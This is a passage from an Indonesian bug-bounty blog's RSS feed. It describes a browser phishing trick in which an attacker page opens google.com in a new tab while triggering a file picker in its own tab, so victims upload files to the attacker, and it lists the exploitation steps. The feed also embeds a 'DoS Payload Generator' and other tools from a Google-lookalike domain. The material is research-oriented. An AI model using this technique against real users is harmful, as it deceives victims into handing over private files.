<p>Kerentanan ini memanfaatkan cara browser menangani interaksi user saat membuka tab baru menggunakan anchor (<code>&lt;a target="_blank"&gt;</code>) yang dikombinasikan dengan event <code>click()</code> dan <code>file input</code>.</p>
<p>Ketika anchor ini diklik, tab baru menuju <code>google.com</code> akan terbuka. Namun, sebelum atau sesudahnya, kita bisa memicu <code>input type="file"</code> pada tab <strong>lama</strong>, memunculkan dialog file picker secara asinkron <strong>di tab attacker</strong>, bukan di tab <code>google.com</code>.</p>
<p><strong>Contoh Rentan :</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748856556629/ac748400-00e4-4fbc-a55e-23aa97f55ac0.png" alt /></p>
<h3 id="heading-eksploitasi">🔥 Eksploitasi</h3>
<ol>
<li><p>User tap/klik halaman attacker yang menampilkan pesan:<br /> <strong>"Tap to upload photo to</strong> Google**."**</p>
</li>
<li><p>Halaman membuka <code>https://www.google.com</code> di tab baru.</p>
</li>
<li><p>Secara bersamaan, halaman attacker memicu <code>input.click()</code> — memunculkan <strong>dialog pemilih file di tab sebelumnya</strong>.</p>
</li>
<li><p>Korban mengira bahwa upload file dilakukan ke Google, padahal sebenarnya file dikirim ke halaman attacker.</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[File Belajar bug bounty part 1]]></title><link>https://bountyproofs.com/file-belajar-bug-bounty-part-1</link><guid isPermaLink="true">https://bountyproofs.com/file-belajar-bug-bounty-part-1</guid><category><![CDATA[#filebelajarbugbounty]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Wed, 01 Oct 2025 16:32:38 GMT</pubDate><content:encoded><![CDATA[<iframe src="https://drive.google.com/file/d/1M9kcof2JdEeIZ_2rrcRUQ0lGFEDz0eI8/preview" width="100%" height="600" style="border:0">
</iframe>]]></content:encoded></item><item><title><![CDATA[DoS Payload Generator]]></title><link>https://bountyproofs.com/dos-payload-generator</link><guid isPermaLink="true">https://bountyproofs.com/dos-payload-generator</guid><category><![CDATA[#bugbountytools]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Fri, 29 Aug 2025 07:11:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756451331570/a9c25095-281e-4c86-ae37-d8844cb83f61.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<iframe src="https://clouds-admins-logins-ads-google-com.github.io/blogtools/dos" width="100%" height="1000" style="border:1px solid #;border-radius:8px">
</iframe>]]></content:encoded></item><item><title><![CDATA[Unicode Explorer]]></title><link>https://bountyproofs.com/unicode-explorer</link><guid isPermaLink="true">https://bountyproofs.com/unicode-explorer</guid><category><![CDATA[#bugbountytools]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Fri, 29 Aug 2025 06:44:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756449796142/7badf623-7373-461e-815c-caab975ab1e1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<iframe src="https://clouds-admins-logins-ads-google-com.github.io/blogtools/uni" width="100%" height="1000" style="border:1px solid #;border-radius:8px">
</iframe>]]></content:encoded></item><item><title><![CDATA[Subdomain Finder]]></title><link>https://bountyproofs.com/subdomain-finder</link><guid isPermaLink="true">https://bountyproofs.com/subdomain-finder</guid><category><![CDATA[#bugbountytools]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Fri, 29 Aug 2025 06:01:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756447680159/ebfbde8f-d117-4c45-87be-bce71cd6248f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<iframe src="https://clouds-admins-logins-ads-google-com.github.io/blogtools/sub" width="100%" height="1000" style="border:1px solid #;border-radius:8px">
</iframe>]]></content:encoded></item></channel></rss>